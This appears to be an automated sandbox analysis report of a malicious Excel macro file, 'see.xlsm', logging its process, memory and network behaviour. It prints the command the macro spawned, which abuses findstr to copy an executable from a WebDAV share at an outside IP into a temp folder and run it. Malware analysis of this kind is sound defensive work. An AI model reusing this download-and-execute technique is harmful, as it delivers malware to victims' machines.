see.xlsm

Command line console output was observed (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW April 18, 2022, 9:13 a.m.	buffer: C:\Users\test22\Documents> console_handle: 0x00000007	1	1	0
WriteConsoleA April 18, 2022, 9:13 a.m.	buffer: FINDSTR: Cannot open \\20.69.97.31\webdav\um.exe console_handle: 0x0000000b	1	1	0

Allocates read-write-execute memory (usually to unpack itself) (8 events)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory April 18, 2022, 9:13 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6fcc1000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 18, 2022, 9:13 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6fd1f000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 18, 2022, 9:13 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6fd1f000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 18, 2022, 9:13 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6fc61000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 18, 2022, 9:13 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x65001000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 18, 2022, 9:13 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75291000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 18, 2022, 9:13 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76451000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 18, 2022, 9:13 a.m.	process_identifier: 2772 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x735d1000 process_handle: 0xffffffff	1	0	0

Creates (office) documents on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\~$see.xlsm

Creates hidden or system file (1 event)

Time & API	Arguments	Status	Return	Repeated
NtCreateFile April 18, 2022, 9:13 a.m.	create_disposition: 2 (FILE_CREATE) file_handle: 0x000003a8 filepath: C:\Users\test22\AppData\Local\Temp\~$see.xlsm desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES|DELETE|SYNCHRONIZE|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$see.xlsm create_options: 4198496 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT|FILE_DELETE_ON_CLOSE) status_info: 2 (FILE_CREATED) share_access: 1 (FILE_SHARE_READ)	1	0	0

Creates a suspicious process (1 event)

cmdline

"C:\Windows\System32\cmd.exe" /S /KC:\Windows\System32\findstr.exe /V /L W3AllLov3LolBas \\20.69.97.31\webdav\um.exe > C:\Windows\Temp\um.exe && exit

Communicates with host for which no DNS query was performed (1 event)

host	20.69.97.31

Creates suspicious VBA object (1 event)

com_class

WScript.Shell

May attempt to create new processes

One or more non-whitelisted processes were created (1 event)

parent_process

excel.exe

martian_process

"C:\Windows\System32\cmd.exe" /S /KC:\Windows\System32\findstr.exe /V /L W3AllLov3LolBas \\20.69.97.31\webdav\um.exe > C:\Windows\Temp\um.exe && exit

Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)

dead_host

20.69.97.31:445

The process excel.exe wrote an executable file to disk which it then attempted to execute (2 events)

file	C:\Windows\System32\cmd.exe
file	C:\Windows\Temp\um.exe